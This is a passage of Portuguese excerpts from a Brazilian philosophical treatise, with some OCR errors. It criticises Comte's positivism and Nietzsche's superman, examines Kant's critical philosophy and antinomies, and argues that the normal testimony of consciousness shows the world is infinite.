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V (¹)

Tem-se levantado contra a filosofia de
Augusto Comte uma grave acusação por lhe faltar o que se chama uma crítica ou
uma teoria do conhecimento. Isto efetivamente tem constituído desde Kant,
especialmente na filosofia alemã, a condição essencial de toda a metafísica,
negativa ou não, o que importa dizer, a condição essencial de toda a filosofia.
É o que não se encontra no positivismo, pensam muitos.

Eu penso que Lévy-Bruhl tem
razão (…) em sustentar que o sistema de Augusto Comte não exclui em sua
totalidade uma crítica do conhecimento. O discípulo em parte justifica o
mestre. Há de fato na filosofia positiva uma parte crítica, uma teoria do
conhecimento; e até não é somente na sociologia que esta teoria se encontra;
ela constitui mesmo o ponto de partida, uma espécie de introdução: como tal se
devem entender as reflexões tendentes ao estabelecimento da lei dos três
estados, e mesmo o estudo relativo à classificação hierárquica das ciências.
Isto constitui realmente, a certo modo, uma crítica ou uma teoria do conhecimento.

O caráter céptico da
filosofia positiva torna-se aí manifesto: é o que se vê por confissão expressa
do próprio fundador do sistema. Mas o que não se compreende é que, uma vez
estabelecida assim a variabilidade, a relatividade das nossas concepções, se
nos venha em seguida propor um sistema definitivo, permanente, e por
conseguinte imutável, o que importa dizer: um sistema absoluto. Tal vem a ser o
caráter do positivismo, destinado, no pensamento de seu fundador, a substituir
todas as outras concepções, e mais ainda, a fazer cessar a anarquia moderna,
desaparecendo todas as perturbações e incertezas do espírito humano, cessando
todas as decepções e misérias da civilização uma vez realizadas as suas
aspirações. É o sonho de todos os reformadores, como se os sofrimentos e os
males provenientes da própria organização da natureza pudessem ser suprimidos
pela fantasia do homem!

O positivismo é,
teoricamente, uma renovação de cepticismo, e praticamente, a mais rigorosa, a
mais completa e ao mesmo tempo a mais decisiva manifestação do materialismo,
porque é o materialismo tendendo a fazer a reforma radical das sociedades.
Ainda mais: é o materialismo tendendo a se transformar em religião. É deste
modo que Augusto Comte afinal se apresenta como o fundador de um novo sistema
de culto, apregoando-se como o
profeta da religião da humanidade.

Esse culto, porém, pode ser
entendido de dois modos; no sentido individual ou no sentido coletivo No
primeiro sentido coloca o homem o seu eu, não somente acima da natureza,
mas também acima de seus semelhantes; e deve assim submeter a seu domínio não
somente as forças naturais, mas igualmente as forças humanas; não somente deve
fazer de sua própria pessoa ou natureza o objeto de seu culto, mas ao mesmo
tempo deve exigir que 6 adorem, dominando de fato sobre todos e sobre tudo,
aceitando como regra fundamental para todas as suas aspirações e ações o instinto
de poder.

Foi a direção de Nietzsche.
Mas este extraordinário pensador e estranho moralista compreendia perfeitamente
que no homem tal como existe e tal como o conhecemos de fato, é impossível
reconhecer a existência de um princípio que mereça tal consagração; por isto
imaginava que do seio das raças degeneradas que hoje vegetam na inconsciência
de sua inferioridade, viesse a surgir uma raça superior, dando assim origem a
um homem novo, mais completo, mais perfeito, mais forte; produzindo enfim o que
ele chamava o super-homem, capaz de dominar, capaz de realizar o ideal sonhado
pela sua filosofia. E para isto aconselhava o emprego de meios artificiais no
intuito de apressar a seleção, sendo dominados os fracos, sendo suprimidos os
degenerados de toda a sorte, estabelecendo-se enfim um novo sistema de moral em
oposição radical com a moral dominante, por ele deprimida com o qualificativo
aviltante de moral de escravos. É a fantasia de um louco.

Todos sentem, todos
compreendem, porém, de modo irresistível e mesmo podemos dizer brutal, que o
homem não pode servir como objeto de culto nem para si, nem para os outros.
Cada um tem consciência da própria fraqueza; cada um sabe perfeitamente que
breve desaparecerá como um sopro; cada um arrasta, a seu modo, a sua miséria e
os seus sofrimentos; e assim como poderá imaginar que possa servir como objeto
de culto? Só na cabeça de um louco poderia, de fato, aninhar-se tal pensamento.
E em verdade valemos tão pouco e tão curta e tão incerta é a nossa vida, que
mal podemos assegurar, no momento mesmo em que falamos, se um instante depois
ainda vivemos. E demais tantos são os sofrimentos a que estamos sujeitos,
tantas são as aflições que nos oprimem, que bem podemos dizer que só merecemos,
da parte daqueles que nos
cercam, compaixão e piedade; e neste caso como poderemos exigir que nos adorem?

Mas o materialista, na sua
fascinação pela superioridade do homem, consegue dar ao egoísmo humano uma
certa aparência de elevação moral, transportando-o do ponto de vista individual
para o ponto de vista coletivo. Não é
o homem mesmo, diz eie, mas a humanidade que deve servir como objeto para o
nosso culto e para a nossa adoração; não é o homem, mas a humanidade que deve
ser elevada à categoria de grande ser e princípio supremo. Tal foi a solução de
Augusto Comte. Julgo desnecessário observar que a coisa, por esta transposição,
não muda de aspecto senão em aparência. Ali tínhamos como objeto de nosso culto um ser que está sujeito a toda a sorte de sofrimentos e é capaz de todas as
fraquezas, um ser que vive apenas um momento e logo desaparece na poeira do
cosmos, mas em todo o caso, um ser concreto; aqui temos este mesmo ser, apenas
generalizado no conceito da espécie; tornado invulnerável, uma vez que é
transformado em idéia e todos sabem que uma idéia não está sujeita a nenhuma
dor e a nenhum sofrimento, porém ainda mais impotente, por isto mesmo que é ums
simples abstração.

Capítulo IX (¹)

FORMA SUBJETIVA DA TEORIA DA
RELATIVIDADE: FILOSOFIA CRÍTICA DE KANT

O criticismo é
anterior ao positivismo, mas foi de ação mais profunda e continua ainda hoje a
exercer influência muito mais considerável; e o positivismo decai e começa a
ser esquecido, ao passo que o criticismo renasce e continua a dominar os
espíritos, passando por sucessivas renovações. Requer por isto este sistema um
exame mais demorado que eu, entretanto, aqui não poderei fazer, limitando-me a
uma ligeira análise, considerando os pontos capitais e decisivos.

Poder-se-á supor
que esse exame seja desnecessário, porque a filosofia de Kant já tantas vezes e
sob tão variados aspectos tem sido estudada, que sobre ela, parece, nada se
poderá dizer de novo. Entretanto, assim não sucede. Kant, pelo contrário,
continua a ser estudado com o máximo interesse, e ainda não foi, é permitido supor,
devidamente apreciado e julgado. Seus princípios são defendidos por uns,
combatidos por outros,*com entusiasmo e calor, e ainda servem de base às mais
vivas controvérsias. Não se trata de uma filosofia que deva ser estudada
somente por seu valor histórico; mas de uma filosofia que contitm? a exercer
influência viva e real, dividindo as opiniões, orientando as inteligências, indicando
os problemas de cuja solução depende o equilíbrio mental que é a aspiração
suprema do espírito. É certo que Kant não resolve este problema e de algum modo
os propõe como insolúveis; mas não pensam assim os seus continuadores e voltam
à carga; e se bem que se afastem do ponto de vista do mestre, todavia é sempre
nos seus princípios que se inspiram.

(¹) pp. 251/252, 260, 278

 

Tobias Barreto, entre os
seus numerosos escritos, fragmentados, mas harmónicos, traz um
interessantíssimo estudo sobre Kant, sob este significativo título —
"Recordação de Kant". Vem na coleção publicada sob o título de Questões
vigentes
e também nos Estudos alemães. É talvez a melhor de todas as
suas produções filosóficas. É pelo menos o trabalho em que o vigoroso pensador
brasileiro se eleva a um ponto de vista mais alto e mais seguro. É feita aí com
muita lucidez a história deste rompimento e por fim da reconciliação entre a
filosofia e as ciências. Eu julgo conveniente reproduzir aqui uma parte da
exposição de Tobias. Poupar-me-ei algum esforço, e terei assim ocasião para
fazer reaparecer uma das mais belas elucubrações do apreciado mestre do Recife.

Outros autores combatem
fortemente o sistema de Kant e vêem mesmo nas suas idéias o veneno da filosofia
moderna. Mas todos reconhecem a sua poderosa influência sobre o espírito
moderno. E considerando esta influência, considerando o entusiasme com que se
tem trabalhado pela renovação dessa doutrina, uma questão naturalmente se impõe
e vem a ser: estará realmente o kantismo destinado a ser a filosofia do future?
É o que cumpre examinar, submetendo o sistema a uma rigorosa análise. Para isto
é, porem, necessário estudar o kantismo segundo os princípios mesmos de Kant,
deixando de parte o desenvolvimento posterior e as variações por que vieram a
passar suas idéias na doutrina dos sucessores, muitos dos quais radicalmente se
afastam da doutrina do mestre.

 

RESULTADO GERAL (1)

A crítica, determinando
quais es elementos a priori do conhecimento, circunscreve a esses
elementos tedo o conhecimento possível cu pelo mencs todo_o conhecimento
legítimo. Esses elementos são as formas da sensibilidade, o espaço e o tempo; e
as categorias da razão. As primeiras fornecem a matéria; as segundas fornecem a
forma do conhecimento. Ora, estando o espírito reduzido a estes únicos
elementos, só há duas ordens legítimas de conhecimento: o conhecimento
matemático que se refere às duas formas do espaço e do tempo: e o conhecimento
natural que se refere aos fenómenos que se passam no espaço e no tempo. Só duas
ordens de ciências são, pois, admitidas e justificadas por Kant: a matemática e
as ciências da natureza. Quanto a uma ciência que tenha por objeto as coisas
como elas são em si, isto é, quanto a qualquer sistema de metafísica, a sua
solução é de todo negativa. Não há conhecimento das coisas como elas são em si
— eis o resultado final da crítica. Por conseguinte a metafísica é impossível.

OS
OUTROS PONTOS DA CRÍTICA (¹)

A Estética transcendental
é um trabalho da mais elevada significação e da mais perfeita coesão
lógica. Na obra de Kant é como o diamante central de que partem todas as
cintilações que iluminam o conjunto do monumento. É uma doutrina que pode ser
combatida e que talvez não seja difícil mostrar que é radicalmente falsa; mas
ainda assim, não pode deixar de ser admirada como uma das mais extraordinárias
produções do espírito humano: tal é a força e vigor com que foi deduzida, tal é
a segurança e poder das suas conclusões. Além disto, o filósofo parte de
premissas, que são, pelo menos aparentemente, de evidência irresistível; e o
mais vem como dedução necessária e inevitável: formando o todo um conjunto
harmónico e perfeito. E tão precisa e completa é a argumentação, tão coerente é
o nexo causal que anima a sucessão das idéias, que ao todo da doutrina em rigor
nada se pode acrescentar, nem diminuir, podendo-se dar mais amplo
desenvolvimento à exposição, explicar e esclarecer a teoria, mas nunca
modificá-la em suas idéias essenciais. De maneira que essa parte da crítica ou
é aceita em sua totalidade ou rejeitada in limine, não sendo, por assim
dizer, susceptível de passar por modificações.

(1) pp. 303/305 (i) pp. 336/339

 

Da Estética
transcendental
Kant passa a Analítica transcendental. A primeira é
uma teoria da sensibilidade e nessa teoria são estudadas as formas puras da
intuição, isto é, as noções do espaço e do tempo. A segunda é uma teoria do
entendimento e aí são estudadas as condições.da experiência, isto é, as
categorias do juízo e as leis fundamentais do conhecimento.

Na apreciação da Analítica
não me deterei muito tempo: se bem que se trate de uma parte muito mais
vasta e muito mais complicada da Crítica. Vasta e complicada; mas também
extremamente obscura, sendo que os resultados da Analítica estão muito
longo de corresponder à segurança, precisão e rigorosa coesão dcs princípios da
Estética transcendental.

"Artificial e
falsa", diz Saisset, "a análise do entendimento de Kant, tomando
abstrações em lugar de realidades, é inteiramente estranha à verdadeira
observação da consciência".

Sem nos preocupar,
porém, com estas contestações ou impugnações, ou mesmo com quaisquer
imperfeições de que porventura se mostre viciada a doutrina de Kant, tratemos
apenas, em síntese, de fazer a dedução de suas idéias. Não temos em vista por
enquanto apreciar, nem criticar, mas unicamente expor.

Capítulo X(¹)

A TEORIA DA RELATIVIDADE DO CONHECIMENTO
COMO FORMA MODERNA DO CEPTICISMO

Em conclusão resta
observar que o erro de Kant, como da maior parte dos céticos que negam a
possibilidade do dogmatismo, o que importa dizer: a possibilidade da metafísica
como interpretaçao racional da natureza, e em particular o erro de toda essa
argumentação contraditória relativa à questão das antinomias, consiste no fato
de se pretender aplicar ao estudo da existência, ou realidade objetiva, o
método dedutivo, quando esse método é aí absolutamente ineficaz e mesmo de
resultado inteiramente negativo. O método dedutivo, aplicável na matemática e
ciências análogas, parte como se sabe de definições e axiomas, de conceitos devidamente
delimitados, para tirar como consequência a explicação dos casos particulares.
É, pois, simplesmente, uma análise de conhecimento adquirido; em regra, uma
decomposição das representações necessárias do espírito: método de verificação
e de prova, e não de descoberta e de busca. Para estudar, porém, a realidade em
sua significação objetiva, é preciso observá-la tal como se manifesta à
consciência, e a realidade só se manifesta à consciência por casos
particulares. O método aí não pode, pois, ser outro senão o método de
observação que parte do exame dos fatos para a indução das leis. Só assim se
pode com verdadeira eficácia firmar a ordem de sucessão dos fenómenos, que é no
que consiste o que se chama ciência.

(¹) pp. 382/384 140

 

Considerando-se o problema
cosmológico em particular, é absurdo firmar primeiro princípios, para depois
deduzir a explicação como consequência. Esses princípios são, em regra,
hipotéticos e assim qualquer dedução que deles se tire é meramente fantástica.
O raciocínio pode ser rigorosamente perfeito debaixo do ponto de vista formal;
mas nada garante a sua realidade objetiva. Para uma explicação desinteressada,
verdadeiramente lógica e de valor obje-tivo, é preciso partir do exame dos
fatos, para daí subir por indução, por analogia, por comparação, a uma
concepção do todo, jogando com todos os elementos da experiência.

Uma objeção formidável nos
poderá, não obstante, ser feita, e vem a ser a seguinte: que a consciência
constantemente nos ilude. Efetivamente assim é; a consciência, de fato, nos
ilude, mas somente nas suas manifestações anormais e transitórias, não assim,
nas suas manifestações normais e permanentes.

Deste modo é nos seguintes
termos que, ao que penso, se pode resolver definitivamente a questão: o
critério supremo da verdade é o testemunho normal e permanente da consciência.

Consideremos agora, em face
desse critério, o problema fundamental da cosmologia: o mundo é finito ou
infinito? Não me alongarei em discussões incabíveis: limitar-me-ei a afirmar o
que a minha consciência atesta. Eu não posso conceber nenhum limite para o
espaço: não posso conceber nenhum limite para o tempo; e do mesmo modo não
posso conceber nenhum limite para a atividade infinita que se desenvolve no
espaço e no tempo. O mundo é, pois, infinito. É o que se verifica pelo
testemunho normal e permanente da consciência. É a solução, pela antítese, das
antinomias matemáticas de Kant. Mas aí é o mundo considerado somente quanto à
sua extensão no espaço e no tempo. Por isto uma questão mais alta logo se ergue e vem a ser: se o mundo é infinito no
espaço e no tempo, como o devemos então compreender em sua génese e
desenvolvimento? É a questão das antinomias dinâmicas. É uma questão que, a meu
ver, só pode ser eficazmente resolvida pela concepção do mundo como atividade
intelectual. Tal é precisamente a matéria de que me vou ocupar no livro
seguinte.

Volume 1
Volume 2
Volume 3

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